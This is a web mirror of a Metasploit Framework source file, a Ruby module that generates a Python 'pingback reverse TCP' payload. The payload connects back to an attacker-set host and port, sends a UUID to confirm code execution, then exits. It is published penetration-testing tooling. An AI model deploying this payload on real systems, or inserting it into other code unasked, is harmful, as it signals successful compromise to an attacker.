Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/python/pingback_reverse_tcp.rb
21540 views
1
module MetasploitModule
2
CachedSize = :dynamic
3
4
include Msf::Payload::Single
5
include Msf::Payload::Python
6
include Msf::Payload::Pingback
7
include Msf::Payload::Pingback::Options
8
9
def initialize(info = {})
10
super(
11
merge_info(
12
info,
13
'Name' => 'Python Pingback, Reverse TCP (via python)',
14
'Description' => 'Connects back to the attacker, sends a UUID, then terminates',
15
'Author' => 'asoto-r7',
16
'License' => MSF_LICENSE,
17
'Platform' => 'python',
18
'Arch' => ARCH_PYTHON,
19
'Handler' => Msf::Handler::ReverseTcp,
20
'Session' => Msf::Sessions::Pingback,
21
'PayloadType' => 'python'
22
)
23
)
24
end
25
26
def generate(_opts = {})
27
super.to_s + command_string
28
end
29
30
def command_string
31
self.pingback_uuid ||= generate_pingback_uuid
32
cmd = <<~PYTHON
33
import binascii as b
34
import socket as s
35
o=s.socket(s.AF_INET,s.SOCK_STREAM)
36
try:
37
o.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
38
o.send(b.a2b_base64('#{[[self.pingback_uuid].pack('H*')].pack('m0')}'))
39
o.close()
40
except:
41
pass
42
PYTHON
43
44
py_create_exec_stub(cmd)
45
end
46
end
47
48